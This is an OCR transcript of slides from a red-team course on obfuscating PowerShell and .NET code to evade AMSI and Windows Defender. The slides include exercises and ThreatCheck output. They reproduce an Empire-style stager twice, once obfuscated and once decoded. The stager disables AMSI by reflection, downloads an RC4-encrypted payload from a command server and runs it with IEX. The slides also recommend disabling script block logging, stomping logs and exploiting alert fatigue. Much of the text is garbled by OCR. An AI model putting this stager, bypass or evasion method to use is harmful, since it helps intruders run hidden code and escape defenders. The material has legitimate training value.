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Class Resources

Repository includes:
=Slides

=Samples

= Exercises

=" Tools

= Resources

GitHub:


https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation

Focus for Today

Focusing on obfuscation and evasion for .NET code

A fairly heavy emphasis on PowerShell

»Heuristic detections by AMSI/Defender are significantly more robust for
the PowerShell Runtime compared to the CLR

" Trivial to evade detection by Defender for CLR programs

All the underlying principles apply to any programming language
= Specific techniques may change



Goals of Obfuscation

*There are two primary reasons for obfuscating code:
=" Prevent Reverse Engineering
" Evade detection by Anti-Virus and Hunters

Reverse
Engineering
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Preventing Reverse Engineering

Protecting IP

" Most companies obfuscate compiled
code to protect proprietary processes

Hiding what we are doing
=\What was this code meant to do?

Hide infrastructure
=\What is the C2 address?

=" \What communication channels are
being used?
="\Where are the internal pivot points?

kY Blsecumiy

REVERSE ENGINEERING

This was supposed to be a Prius



Evasion

1 EMPOWERING THE ANALYST:
Alter Code to Break Signatures Ol
B e n d I n W I t h N O r m a I O p e ra t I O n S Authentication is the main barrier to any useful gccess into your network —attackers will

Change Indicators of Compromise

" Hardest to do. More likely to result from building a

new implementation rather than through
obfuscation

ldentification of analysis techniques
"j.e., If a sandbox is detected, do nothing
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What are Indicators of Compromise?

Forensic evidence of potential attacks on a network

These artifacts allow for Blue Teams to detect intrusion and
remediate malicious activity

O tenable.s¢ Dashboard~  Analysis*  Scans~  Reportingy  Assets  Workflow ~

Indicators

Indicators - Botnet Activity Indicators - Continuaus Events

Bot Inbound Metsta d Metstat DNS Claz URLs Clean

inbound T Outburd Trafc Bt ut

Indicators - Malicious Process Monitoring Indicators - Access Control Anomalies

K

X n) Urweant m Hash I Mutti Crashes Firewall Spike Auth Spike Auth Fail Spike
CrangeSpe
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E Spike Unigue Unix Malicious (LCE)
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Indicators - Intrusion Detection Events
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DNS Tunnel Tunnel

Network Spike

‘Web Spike Inbound Spike
USER Auth VNC 30m+

Internal Spike

.
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ow do defenders use them?

SpecterOps: Funnel of Fidelity
=Start with weak indicators to create initial detections
" Look for stronger indicators as the funnel narrows

Detection (1000000s of EVENTS)

Investigation (10s of LEADS)
Collection @ ﬁ Don’t clog the funnel!
Remediation (1s of INCIDENTS)

L Triage (100s of ALERTS)
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Parsing Logs with Event
Viewer




What is Event Viewer

Application for interacting with the majority of application and
system event logs

Often accessible as a general user

= Can’t modify logs though

" PowerShell logs are a good place to check for admin credentials

Logs can also be parsed with other command line tools such as:
=Get-EventlLog

= | og Parser

" Python-etvx
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Event Viewer

All Apps Documents Web More « .pw'_"‘

Best match

.| Event Viewer
W

Search the web

Event Viewer
L event - See web results App

Documents (4+)
Folders (2+) Open

Run as administrator
Open file location

Pin to Start

Pin to taskbar
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Event Viewer — PowerShell Logs

4] Event Viewer

File Action View

= n D HE

Event Viewer (Local)
> _‘—# Custom Views
Windows Logs
w L Applications and Services Lo
@ Hardware Events
f&] Internet Explarer
] Key Management Service
> [ Microsoft
5 [] OpenssH
@ Windows Azure
f&] Windows PowerShell

Windows PowerShell

Level

@ Information
® Information
® Information
® Information
® Information
® Information
® Information

Mumber ¢

Date and Time

6/28/2021 8:38:43 PM
6/28/2021 8:38:43 PM
6/28/2021 8:38:43 PM
6/28/2021 8:38:42 PM
6/28/2021 8:38:42 PM
6/28/2021 8:38:42 PM
6/28/2021 8:38:42 PM

Source

PowerShell (PowerShell)
PowerShell (PowerShell)
PowerShell (PowerShell)
PowerShell (PowerShell)
PowerShell (PowerShell)
PowerShell (PowerShell)
PowerShell (PowerShell)
PowerShell (PowerShell)

&

8888888

Task Category

Engine Lifecycle

Pipeline Execution Details
Pipeline Execution Details
Engine Lifecycle

Provider Lifecycle
Provider Lifecycle
Provider Lifecycle

® Information 6/28/2021 8:38:42 PM
P N

Provider Lifecycle

> _E| Saved Logs
[z Subscriptions Event 403, PowerShell (PowerShell)

General  Details

Engine state is changed from Available to Stopped.

Details:
MNewEngineState=5topped
PreviousEngineState=Available

SequenceNumber=19

HostMame=ConsoleHost
HostVersion=3.1.19041.1023
Hostld=ef4353b7-535d7-48af-8b50-4f303616b71d
HostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1%
EngineVersion=5.1.19041.1023
Runspaceld=3edf11bf-5213-405f-b5d9-9faba2689c2a
Pipelineld=

CommandMame=

CommandType=

ScriptName=

CommandPath=

CommandLine=

Log Mame: Windows PowerShell

Source: PowerShell (PowerShell) Logged: 6/28/2021 8:38:43 PM
Event ID: 403 Task Category: Engine Lifecycle
Level: Information Keywords: Classic

User: N/A Computer: WinDev2012Eval
OpCode: Info

Mare Information: Event Leg Online Help

e
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Event Viewer — PowerShell Logs

Applications and Services Logs > Microsoft > Windows >
PowerShell > Operational

3] Event Viewer
File Action View Help

NetworkProvider Operational Number of events: 1,460

| NetworkProvisioning
7 NlaSve Date and Time Source EventID Tesk Category

Ntfs 6/27/2021 12:28:. PowerShell (Micresoft-Windows-P.. 4103 Executing Pipel = Open Saved Log...
1 NTLM ] 6/27/2021 12:2 PowerShell (Microsoft-Windows-P.. 4104 Execute a Remc Create Custom View..
OfflingFiles 612772021 1228 PowerShell (Microsoft-Windows-P, 40962 Powershell Cor
1 OneBackup /2772021 12 PowerShell (Microsoft-Windows- 53504 Powershell Nar
1 Onex 6/27/202112 PowerShell (Microsoft-Windows- 40961 PowerShell Cor ClearLog..
| OOBE-Machine-DUI 6/26/2021 12 PowerShell (Microsoft-Windows- 4104 ExecuteaReme | | 7 Filter Current Log...
OtpCredentialProvider 6/26/202112; PowerShell (Microsoft-Windows- 4103 Executing Pipel
1 PackageStateRoaming T £E A 400 e - n AT T i
1 ParentalControls Disable Log
Partition ell (Microsoft-Windows-PowerShel @8 Find..

PerceptionRuntime
creeption? s Gene . el Save All Events As..
PerceptionSensorDataService General  Details

| PersistentMemory-Nvdimm Attach a Tesk To this Loy
1 PersistentMemory-PmemDisk

~ | | Operational

Import Custom Vie

Properties

y View

PersistentMemory-ScmBus j inal result: 1"
1 Policy-based QoS

PowerShell § H Hep

i Admin Informational

| Operational ConsoleHost Event 4103, PowerShell (Microsoft-Windows-PowerShell)
7| PowerShell-DesiredStateConfiguration-FileDownloadManager Host Version = 5.1.19041.1023 [E] Event Properties

Operational Host ID = ef4353h7-55d7-48af-8b50-4f903616b71d .
. Host Application = powershell.exe -ExecutionPalicy Restricted -Command Write-Host 'Final result: 1; Attach Task To This Event...

PrimaryNetworklcon R
. . Engine Version = 5.1.19041.1023 H Save Selected Events...
d PrintBRM Runspace D = 3edf11bf-5213-405F-b5d9-0f2622668¢22

PrintService Pipeline ID = 1 = Copy

Privacy-Auditing Command Name = Write-Host
7 Program-Compatibility-Assistant Command Type = Cmdlet

- . Script Name
Provisioning-Diagnestics-Provider i

Sequence Number

& Refr

Proximity-Comman 16

7| PushNotifications-Platform User = WORKGROUP\SYSTEM
ReadyBoost Connected Uses

1 ReadyBoostDriver

1 Rel

Log Name: Microsoft-Windows-PowerShell/Operational
RemoteApp and Desktop Connections Source: PowesShell (Microsoft-Wind Logged: 6/28/2021 8:38:43 PM

| Remotehssistance Event ID: 4103 Task Category: Executing Pipeline

| RemoteDesktopServices-RdpCoreTs Level: Infermation Keywords:  None
RemoteDesktopServices-RemoteFX-Synth3dvsc User: SYSTEM Computer:  WinDev2012Eval
RemoteDesktopServices-SessionServices
Remotefs-Rdbss

1 Resource-Exhaustion-Detector

OpCode: To be used when operation i
More Information:  Event Log Online Help

1 Resource-Exhaustion-Resolver
RestartMananer
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Exercise 1: Logs

L)
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Analyze the Windows Event Logs for suspicious behavior

%
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Exercise 1: Logs

Using Event Viewer Open the provided log files from the Git Repo
" Are there any logs that look suspicious to you?
5 |f so why?

" Do you think the executed code could have been changed to make it less
suspicious?

17



To know your enemy, you
must become your enemy.

Sun Tzu




Collection

We probably can’t avoid this
completely

Traffic must go through
firewalls, routers, etc.

If we can identify the collector,
we can potentially disable it:
"Disable Script Block logging

= Turn off NetFlow collection on a
router

Windows Calendar (1 Windows PowerShell
Windows Color Syster
Windows Customer B>
Windows Defender iz| Turn on Medule Logging Enabled

Select an item to view its description.  Setting State

Windows Error Report |i=| Turn on PowerShell Script Block Logging Enabled
Windows Explorer i=| Turn on Script Execution Mot configured
Windows Installer i=| Turn on PowerShell Transcription Enabled
Windows Logon Qptic i=| Set the default source path for Update-Help Mot configured
Windows Mail

Windows Media Cente

Windows Media Playe
Windows Messenger
Windows Mobility Cer

Windows Reliability A
Windows Remote Mar| _
Windows Remote She|
Windows SideShow
Windows System Resc
Windows Update

All Settings

=
=
=
=
=
=
| Windows Media Digit:
=
=
=
Al
=]
=
=
=
=

-

‘ [ % Extended { Standard
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Detection

Where most Red Team’s spend most of their effort

Blend into the standard traffic

Obfuscation to avoid malicious sighatures

Follow normal traffic flows

=" A random machine logging into a router is probably pretty strange

20



Suspicious Traffic Found

AIZFHUNTER

THREATRATING

vatun
ey
P

What are the next steps? \ACTIVE|COUNTERMEASURES,

B

i)
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Triage

Starting to get a little more scrutiny from defenders
Blend into the alerts!

=Use AV logs to see if anything causes a lot of alerts
=" Abuse of alert fatigue

Abuse assumptions (mini social engineering)

22



Investigatior

Hands on analysis is beginning to happen
At this point an activity has been identified as malicious

Prevent them from knowing what is going on
= Stomp logs

= Obfuscate payloads

"Hide



Memory Analysis

Running processes are hard to hide
" This is way people should never turn off a computer during response

Memory analysis will reveal the ENTIRE Empire agent in plaintext
loaded into memory
="No obfuscation

= Allows the extraction of AES keys
Decryption of malware C2

= Useful for red teams because it rewards incident response teams to take
the next step and chain analysis

24



How Does AV and EDR
Detect Malware?




Static Detection Methods

How AV does its logical detection?

mHashes

Simply hashing the file and comparing it to a database of known
signatures

Extremely fragile, any changes to the file will change the entire
signature

"Byte Matching (String Match)

Matching a specific pattern of bytes within the code
"j.e. The presence of the word Mimikatz or a known memory structure

9_‘“ ,rf‘ L

Crrnmi
LUSEDURITY.
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Static Detection Methods

i
——
[ & ¥| N CrrniT
ot R JE LU

ash Scanning
Hybrid of the above two methods
Hash sections of code and look for matches

euristics
Cile structure

ogic Flows (Abstract Syntax Trees (AST), Control Flow Graphs
(CFQG), etc.)

Rule based detections (if x & y then malicious)
"These can also be thought of as context-based detections

Often uses some kind of aggregate risk for probability of
malicious file




Dynamic Detection (Behavioral Analysis)

Classification Detection
Sandboxing

Microsoft Defender ATP

v =

" Execute code in a safe space | & | |
and analyze what it does s b S it
System Logs and Events & .50
8 v
- Eve nt TraCing for WindOWS Pre-execution Post-execution

sensors Sensors

APl Hooking \l/ \l/ \l/
9 0 7

Pre-execution Behavioral Alert
blocking blocking and
containment

>\ B cerngiTv.
w—%@{JL‘LJJLUJ’L‘J Y
g
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AMSI| and Fileless
Malware




What Is AMSI?

The Windows Antimalware
Scan Interface (AMSI) is a
versatile interface standard

that allows your applications e

and services to integrate with  |JREEEPSSw
any antimalware product that's |GGG
present on a machine. AMSI Py A O e code
provides enhanced malware S i

prOteCtion for your end-users DetectC#.NETusaeo:::::::::llp:sne::e
and their data, applications,
and workloads.

£ ¥| S

i N CErNIDIT

FUSEDURITY! 30
v%@. D

LS



That’s Great But What Does that Mean?

%’?J DL JLURI
!-—“_,z'f?

Evaluates commands at run time

Handles multiple scripting languages
(PowerShell, JavaScript, VBA)

As of .NET 4.8, integrated into CLR
and will inspect assemblies when the
load function is called

Provides an API that is AV agnostic

" All modern AVs use this interface
Identify fileless threats

" Solved the technical part of the Collection
Evasion problem

.‘\'
oIy

‘”IH/

AMSI integration with JavaScript/VBA

31



Data Flow

A

MsMpEng-exe
WINDOWS DEFENDER SERVICE

WIN32 API LAYER

COM API LAYER

AV PROVIDER LAYER

A

E@ Blsecuriiy, 32



Interesting Note About the CLR Hooks

Based upon the CLRCore port AMSI is only called when
Assembly.Load() is called

// Here we will invoke into AmsiScanBuffer, a centralized area for non-0S

// programs to report into Defender (and potentially other anti-malware tools).

// This should only run on in memory loads, Assembly.Load(byte[]) for example.

// Loads from disk are already instrumented by Defender, so calling AmsiScanBuffer
// wouldn't do anything.

Project that abuses this:

7
v Blserumiy,
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https://github.com/dotnet/coreclr/pull/23231/files
https://github.com/G0ldenGunSec/SharpTransactedLoad

The Problem of Human vs Machine Analysis

Using automated obfuscation
tools can easily produce
obfuscated code that is capable
of evading static analysis

Heavily obfuscated code will
immediately jump out to a
human analyst as suspicious

" Pits Logical Evasion against
Classification Evasion

(%
v Blserumiy,
4%

MAN vs MACHINE

MAN DEFEATS
MACHINE.

MACHINE [MPROVES
AND DEFEATS MAN.

f}' ‘E:

MACHINE DEFEATS MAN
OVER AND OVER AGAIN.

MAN GETS ANGRY AND
SAYS THAT CHESS IS A
STUPID GAME AND
MACHINE SAYS NO, IT'S
YOU WHO (S STUP(D.
THEY B0TH SULK FOR A
WHILE BUT THEN MAKE
UP AND AGREE TO PLAY

(1ol

SOME MORE CHESS.

MACHINE LETS VAN WiN
FROM TIME TO TIME.

34



eavily Obfuscated Code

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General  Details

Creating Scriptblock text (1 of 1):

sET-ItErmn vARIaBle:plSm0 [ [tyPe]("{1HO} -F'f','rE') ); SET (M18G"+""+"H") ([TyPEI("{2ZH4HSHTHEHOHBHIH 1} -F 'IC, ' GeR",'SYs", 'ntMARA", Te','M.nET 'Ry, " sE','EP0i") J; sET ul3v ([TYPE]("{OH2H1}"-F'texT.",'NcOding','E") )} ; SEt-lteM

VaRIAbIE:Bh3Tvs  [tYPE]("{2{0K1}" -f'er,' T,'CONV") }; SIFOV)= [TypEl("{THONSH2H4K FlystEM.','S' 'tweBR','eST ,'equ’,'ne’) ; sv (v'+'KU¥qg') ( [type]l("{0K1HSH2ZHAH3}"-f 'SyST, 'em.’,'eD’, 'lcache’,'eMTia','NET.Cr') } ; SEt-VARiablE rGOQ (

[tyPe]("{OH3K2HIH4}" -F 'sy’, tEXT.eN’,'teM",'S','CodinG") ) ;IF(3{p"SvE RsiOMt'AB'LE}L"pSVESION"."mal'OR" -GE 3{S{R'Ef} = ( variABle PLI9mO)."VALue"."a5sem BIY".("{1H0}" -f 'EtTypE','G'}Invoke( ('S' + ( “[1HO}" -f("{0}1}"-F't,'em.’),'ys) +

("[2ZHTHO}" -Fem’,'g ("[OX1}" f 'Ma','na’)} +("[OH1}" -fent,"' )+ { "[THO}" -Fi,("{THOH2)" -f 'oma’,'Aut’,'t) }+'0' + 'n'+ "+ 'A'+ 'm' + 'sil+ [ 'Uti'+ 'Is') }; S{rEFL("{THOH2}"-FEtF,'G, "ield ).Invoke( (‘a' + ( "[1{0}" -F'In','msi’)+ 'itF' } + (‘ai’

+'led' ),('Non' +'P* +'ub’ + ("[1{0H2}"-F 5t 'ic",("{1HO}" -f'tic’,'a") } )} LOCU2ZHOM1Y-f VALY 'UE','SE' ) Invoke( S${nu’ILYL S{TRIUE]) ; } ; {18 gL' FH}:"eX'PECTI00coNTin'Ue" = 0 ; S{AEFB} =.("{OH2H{1}"-f'New', 'eCt’'-0B)") ("{3IH2HTHOH4}" -

‘E','M.NET.WEBCLI','e’,'S¥st','Nt") ;3{U} = ( 'Moz' +'il' +(({ ("[O}2K1}"-FC 01} -Flass., 0), (. " ) ) 3+"Wi+ 'nd'+ ‘ow' + ({0OK1)°-f ("11HOY -F'NT,'s '), 1+ "6 + "1 + (“[ZHOH1P-FOWe, 4 W )+ " +'Tr + 'id' + ("[1HO}"-f '/ 'ent’ )+'T +

CYOH2H Y -F 00, C0H T -F L OO e D (O ER2HOH IR T O - ke, Y 100D, e, 0, (T HO K, Gee')) ) )); S${S%er} = §( (get-vaRiABle widv )."VAIUE":"uNic'odE"."g EtSTrING"( (geT-ItEM varlaBLe:bh3Tvs )."VaL'UE"

{2ZH0H4} -f'mBasebdSt', s, '0",'F, 'ring ). Invoke( ('afAB' + ("{01}" -FOAH' QA"+ 'cA's "ABA' +'C'+( "[THOHZ}'-FLwA'8A (OH2KH1Y" -FxAD', g 'kAM) ) +'A'+ A"+ [ "[THOK2}"-f'g’,("{0H1}"-FDE, AN, A4A" ) + ({01 K2} -F'C ({140} -f

ACQA' )Y ) HACAH(IOY -F A, AMOY ) +( [THOY-f 'Oga, (0N )" -FADYAAY ) + ({THOV'-f ACQA' (MON1}-f 4 ADAY ) + ( "[TXOX2Y" -f ("{1HO}" -F'="'wAAY,A =) k8 Ti= (/'+ 'adm' + 'in'+ ( "[1{0}"-f't,'/ge' ) +( "[OH1}"-

. php' 1):5{4e’FBL"H EADeRs".("{1H0}"-f' D", AD" )\ Invoke([ 'Use'+ [ "[1HO}"-fAge’'r-' 1+ 'nt’),5{U} ) ;S{AEFbL "ProxY" = S{fov} Fau ITTWEbP RoXY" ; §{A"eFbl."PR'oXY¥"."cReDEN'TIAIS" =  ( gEt-iTEM

('vaRIAB'+ 'Lew'+ "K'+ 'uy'+'g"))."Val'Ue"::"dE FaUl TMNe TWo RKC R EAENEIAIS" ; S{SCRIPT:prOXY} = S{AEFbL"PrOxy"; S{ki= S{rggk:"asChi"."GeTByTEs"(( (("{1H2ZKOY'-f 'mS ' &[, ("{1HO}'-f'lusG 'K+ (“{0H1}" -FhqW',*F3 ) + {1} -f
Ur = (S} + 5{5]

SRS _1%a5{k )" cOPUNE"]) %236 ;S{si[S{_1] S{SHEIH =S{s}SGHL 3N} Sid} | &U% NS = (i} + 1 1%256; Shi= (Sh}+ S{5){5{1}] )%256; ${=i{3{i]] S{sH5(h}] =5{SH3H} S{sH&i}] ; S_}-brori{si[( Hs}{3{l]]+ S{5}5{h}])%256]}] ;

S{A’EFb)."Hea deRs".("{OH1}"-f 'A%, 'dD")Invoke(('Coo' + 'kie' ),('b'+ 'oh'+ ‘zn'+( "[1HOY'-f"{THO} -f 'P=""el),("{0H1}" -FZkr,' P )+ 1 + 'd1'+( "{OH1}-FT,("{0}1}" -f 'k, 'gNB")) +'L'+ 'BA" +'4 + "R +("[1HO}" -F1,1hj)' ) + [ "12H

(MTHOM-f =" uk'), Bk ) ) S{dArA} =S{a'efBL{"0OH2ZHTH3Y - 'DO",'0aD’, ' whNI','DaTa").Invoke( ${sER} + S§{t} J; ${lv}= S{dATA}ND.3]; ${dATal= S{D°ATa}[4.5{DATAL"Len'gth"] ; -joiN[ChaR[]]{ & S{r}S{da"TA} ([ 5{i'V} + S{K}1) "1140}"-f

HIED

ScriptBlock 1D: ab805158-8754-4189-84e3-57dcdf8172ad
Path:

L

L]
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Un-Obfuscated Code

Event 4104, PowerShell (Microsoft-Windows-PowerShell)
General  Details

Creating Scriptblock text (1 of 1)

[f{5PSVersionTable.PSVersion.Major -ge 3){SRef=[ReF].Assembly.GetTypel'System.Management.Automation. Amsilltils');5Ref. GetField('amsilnitFailed’,'MonPublic, Static ). SetValue(Snull S True); }:
[Systern.Met.ServicePointManager]:Expect100Continue=0;5AeFb=New-0OhjecT System.MeT.WebClient;5u="Mozilla/5.0 (Windows NT 6.1; WOWES: Trident/7.0; n:11.0) like Gecko';Sser=5([Text.Encoding:UniCode. GetString
([Convert]::FromBasefdString('aABDAHOACAABACEALwAXADKAM g AUADEAN g ALACAAQOAYACIAMOAZADAAD gALADAADAAWAA ‘news.php’;SAeFB. Headers. Add (' User-Agent’, 5u); 5AeFB.Proxy=

[Systerm. MeT.WebReQuest]: DefaultWebProxy; SAeFB.Proxy.Credentials = [System.MNeT.CredentialCache]:: DefaultMetworkCredentials; $Script:Proxy = SAeFB.Proxy: 5K=[System . Text.Encoding]: ASCIL GetBytes( & K]usGmS|*F3zMCVXTeb@, !
(alhEj:D');SR={5D,5K=5ARGS;55=0..255;0..255| 36{$J=(§J+ 85[5_]+ SK[5_%6SK.CounT]) %a256;55[5_], 85[5J]=S85[5J],55[5_1%;5D|3&{ S1=(51+ 1) 36256; SH= (SH+55[ §1]) %a256; S5[ 81], 5[ 8H]=55[5H], §5[51];5_-Bx orS5[(§5[81]+ 55[SH]}%6256] } ). SAcFB.Headers. Add
("Cockie","bohznZkrPelP= AWILIZKj3ms00 bBIDADEMysISe0="):5data= SAeFB.DownloadData(5sEr+ 5t); 51V=5Data[0..3]; 5 Data="5Data[4.. SData.length]:-join[Char[1] (& SR SdATA (SIV+SK])|IEX

ScriptBlock |D: afaddBea-15df-44a3-8b5c-332d0cdbbafs
Path:

L

L]
) BLsEmIy,



Obfuscating Static
Signatures




Unravelling Obfuscation (PowerShell)

The code is evaluated when it is readable by the scripting engine
This means that:

powershell
VwByAGkAdABIACOASABVAHMAdAAOACIAdABIAHMAdAAIACKA
becomes:

Write-Host( )
However:

Write-Host ( )
Does not become:

Write-Host ( )

This is what allows us to still be able to obfuscate our code

38



What Can We Do?

Modify our hash
Modify byte strings
Modify the structure of our code

39



Modifying the Hash

Change literally anything

40



Randomized Capitalization Changes Our Hash

PowerShell ignores capitalization
Create a standard variable

This makes Write-Host and Write-Host

The same as...
hello world

AMSI ignores capitalization, but changing your hash is a best practice

C# does not have the same flexibility but changing the capitalization
scheme of a variable name modifies the hash

41



Modifying Byte Strings

There are a lot of options available here

®"Change variable names

=Concatenation

=\Variable insertion

=Potentially the order of execution

"For C# changing the variable type (i.e list vs array)

9_‘“ ,rf‘ L

Crrnmi
LUSEDURITY.
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Variable Insertion (PowerShell)

PowerShell recognizes S as a special character in a string
and will fetch the associated variable.

We embedded into

Which gives us:

amsicontext

iy CErIIDITy .
- BLSETURITY,
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Variable Insertion (C#)

As of C# 6 there is a similar method that we can use

varl context™;

$ "amsi{varl}”;

If you use a decompiler to examine your file this will look the

same as doing concatenation but does produce a different file
hash

kY | BLsecumiy
=S



Format String (PowerShell)

PowerShell allows for the use of {} inside a string to allow for variable
insertion. This is an implicit reference to the format string function.

will be flagged

But,
Return:

amsicontext

kY | BLsecumiy
=S



Format String (C#)

C# also has a Format string method:

varl context;
Format(“amsi{@}",varl);

Strangely enough ILSpy will decompile it to look like variable
Insertion:

string arg = "context”;

string text = $"amsif{arg}”;

Zal
[ ) i | r) CErInITy:
E@wafuﬂwf 46



Encrypted Strings

Encrypting
= ( ) >
Execution
= <encoded payload>
= [REF].Assembly.GetType( );
.GetField( , ).SetValue( , );
= [System.Management.Automation.PSCredential]::new( ,(ConvertTo-SecureString -k (0..15) )
lex .GetNetworkCredential().Password
:ingJf_ SECURITY. 47



What is an Abstract Syntax Tree (AST)?

[ ‘¥| o]
S

Represents source code in both
compiled and interpreted
languages

Creates a tree-like
representation of a
script/command

p——
EEriin

Rl

el S I/
LS ]
VAR LRI

function Write-Num {
Param ([Int] $Num)
Write-Host $Num
} Write-Num 3

AbstractSyntaxTree

ScriptBlockAst

function Write-Num {
Param ([Int] $Num)
Write-Host $Num
} Write-Num 3

function Write-Num {
Param ([Int] $Num)  namedgiockast
Write-Host $Num

} Write-Num 3

function Write-Num {
Param ([Int] $Num)

Param ([Int] $Num)

.
Param ([Int] $Num)
ParamBlockAst Write-Host $Num NamedBlockAst

[Int] $Num  parameterAst

ConstantExpres
sionAst

] BN siringConstant
Write-Num e
ExpressionAst

Write-Host SNum CommandAst S

L4
Write-Host $Num  PipelineAst

(int] TypeConstraintAst

) StringC tant
Write-Host -t"'neconstant g $Num VariableExpressionAst

$Num VariableExpressionAst ExpressionAst

B \\/rite-Host $Num S~
. . . PipelineAst
{ Param ([Int] $Num) FunctionDefinitionAst Write-Num 3
B Write-Host $Num  ScriptBlockAst [
~ B - c dAst
: ) Write-Num3 " nmenees

48



Abstract Syntax Tree (AST

ScriptBlockAst

>~

NamedBlockAst: Begin NamedBlockAst: End

\ J

StatementAst

PipelineAst

CommandAst

StringConstantExpressionAst CommandParameterAst @ ParenExpressionAst
PipelineAst
&

BinaryExpressionAst

4

Left: StringConstantAst Operator: Format Right: ArrayliteralAst

- = -

0: StringConstantExpressionAst 1: StringConstantExpressiopAst
Get-Command -Name ("{1}{0}" *-Process”, “Get")

Generic LParen Format Comma RParen

Parameter StringExpandable StringExpandable StringExpandable

=

:@gj BUSEGURITY,



Example Obfuscation Process

Break the code into pieces

= |dentify any words that may be
specific triggers

ldentify of any chunks that

trigger an alert

Run the code together

Start changing structure

" |f you want to go down the rabbit
hole
start analyzing your ASTs

Sometimes SCIENCE
is more ART

than

SCIENCE.

A |ot Of people
/%don‘t get that.

50



Staging VS Stagless

Scripts and Assemblies are typically evaluated individually as they
are loaded

=" There will still be some carry over of the risk rating

Trade off of increased network traffic to less “malicious” code to
be identified

51



Exercise 2: PowerShell Obfuscation

£
v Blserumiy,
4

Obfuscate samples 1-3
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Exercise 2: PowerShell Obfuscation

Hints
1. Break large sections of code into smaller pieces

2. Isolate fewer lines to determine what is being flagged
3. Good place to start is looking for “AMSI”

L)
v Blserumiy,
4%
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Exercise 2: PowerShell Obfuscation

Answers

S
N r L3

TM TWO PACLS N AND I STRL

BUT 7S TG MOST BEAUTIUL TUNG
15 VD AR WS ON

7
v Blserumiy,
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ThreatCheck




ThreatCheck

Scans binaries or files for the

exact byte that is being flagged

Two Modes
= Defender

Uses the Real Time protection engine

Updated version of

GitHub:

C:\> ThreatCheck.exe --help

-e, --engine
Analyze a file on disk

-f, --file
-u, --url
--help
--version

(Default: Defender) Scanning engine. Options: Defender, AMSI

Analyze a file from a URL
Display this help screen.
Display version information.

C:\> ThreatCheck.exe -f Downloads\Grunt.bin -e AMSI
[+] Target file size: 31744 bytes

[+] Analyzing...

[!'] Identified end of bad bytes at offset 0Ox6D7A

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090
000000AO
000000B0O
000000CO
000000D0O
000000EOD
000000F0

650022 003A 002200 7B0032007D 002200 e-"-:-"-{-2-}-"
2C 0022 00 74 00 6F 00 6B 00 65 00 6E 0022 00 ,-"-t-o-k-e-n-"-
3A007B0033007D00 7D0O07D0000437B00 :{-3-}}}-C{
7B 0022 0073007400 6100740075007300 {"-s-tatus:
22 003A 0022 007B00 30007D0022002C00 "-:-"{-0-}",-
22 00 6F 00 7500 74 00 7000 7500 74 002200 "-o-u-t-p-u-t-"-

3A0022007B003100 7D0022007D007D00 :-"-{1-}-"-}}
00 80 B3 7B 00 7B 00 22 0047 00 550049 00 44 -?*{-{-"-G-U-I'D
0022 003A0022007B 0030007D0022002C -"-:"-{-0-}-",
0022 005400790070 00650022003A007B -"-T-y-p-e-"-:+{
0031 007D 002C0022 004D 006500740061 -1-},-"-M-e-t-a
0022 003A0022007B 0032007D0022002C -":-"f-2:}-",
002200490056 0022 003A0022007B0033 -"|-V-"-:-"{-3
00 7D 00 22 00 2C 00 22 0045 00 6E 0063 0072 -}-"-,-"-E-n-c'r

00 79 00 70 00 74 00 65 00 64 00 4D 00 650073 -y-p-t-e-d-M-e's
00 73 00 61 00 67 00 65 0022 003A0022007B -s-a-g-e-"-::"+{


https://github.com/matterpreter/DefenderCheck
https://github.com/rasta-mouse/ThreatCheck

ThreatCheck

Two Modes

" Defender
Uses the Real Time protection engine
Writes a file to disk temporarily

= AMSI

Uses the in-memory script scanning
engine

Doesn't write to disk

C:\> ThreatCheck.exe --help
-e, --engine (Default: Defender) Scanning engine. Options: Defender, AMSI

-f, --file
-u, --url
--help
--version

Analyze a file on disk

Analyze a file from a URL
Display this help screen.
Display version information.

C:\> ThreatCheck.exe -f Downloads\Grunt.bin -e AMSI
[+] Target file size: 31744 bytes

[+] Analyzing...

[!'] Identified end of bad bytes at offset 0Ox6D7A

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090
000000AO
000000B0O
000000CO
000000D0O
000000EOD
000000F0

650022 003A 002200 7B0032007D 002200 e-"-:-"-{-2-}-"
2C 0022 00 74 00 6F 00 6B 00 65 00 6E 0022 00 ,-"-t-o-k-e-n-"-
3A007B0033007D00 7D0O07D0000437B00 :{-3-}}}-C{
7B 0022 0073007400 6100740075007300 {"-s-tatus:
22 003A 0022 007B00 30007D0022002C00 "-:-"{-0-}",-
22 00 6F 00 7500 74 00 7000750074 002200 "-o-u-t-p-u-t-"
3A0022007B003100 7D0022007D007D00 :-"-{1-}-"-}}
00 80 B3 7B 00 7B 00 22 0047 00 550049 00 44 -?*{-{-"-G-U-I'D
0022 003A0022007B 0030007D0022002C -"-:"-{-0-}-",
0022 005400790070 00650022003A007B -"-T-y-p-e-"-:+{
0031 007D 002C0022 004D 006500740061 -1-},-"-M-e-t-a
0022 003A0022007B 0032007D0022002C -":-"f-2:}-",
002200490056 0022 003A0022007B0033 -"|-V-"-:-"{-3
00 7D 00 22 00 2C 00 22 0045 00 6E 0063 0072 -}-"-,-"-E-n-c'r
00 79 00 70 00 74 00 65 00 64 00 4D 00 650073 -y-p-t-e-d-M-e's
00 73 00 61 00 67 00 65 0022 003A0022007B -s-a-g-e-"-::"+{



Exercise 3: ThreatCheck

Download launcher.ps1 and ThreatCheck.exe from:

Determine the line(s) of code that are being flagged by
Defender.

Obfuscate the detected line(s) of code so it is no longer flagged
by Defender.

58


https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation/tree/main/Exercise%203

Exercise 3: ThreatCheck

Threatcheck.exe -f Launcher.psl -e Defender

[+] Target Tile s1ze: 1467 bytes

[+] Analyzing...

[!] Identified end of bad bytes at offset 0x4cC7

00000000 53 54 65 6D 2E 54 45 58 54 2E 45 6E 43 6F 64 69 STem.TEXT.EnCodi
00000010 4E 67 5D 3A 3A 41 53 43 49 49 2E 47 45 74 42 59 Ng]::ASCII.GETBY
00000020 54 65 53 28 27 76 5B 49 47 54 62 66 2A 58 6B 4 TeS('v[IGTbf*XkN
00000030 29 23 4D 43 75 33 39 21 48 70 3E 50 6D 53 32 25 )#MCuU39 ! Hp>PmS2%
00000040 45 3B 4C 55 46 27 29 3B 0D OA 24 52 3D 7B 24 44 E;LUF");uu$r={%D
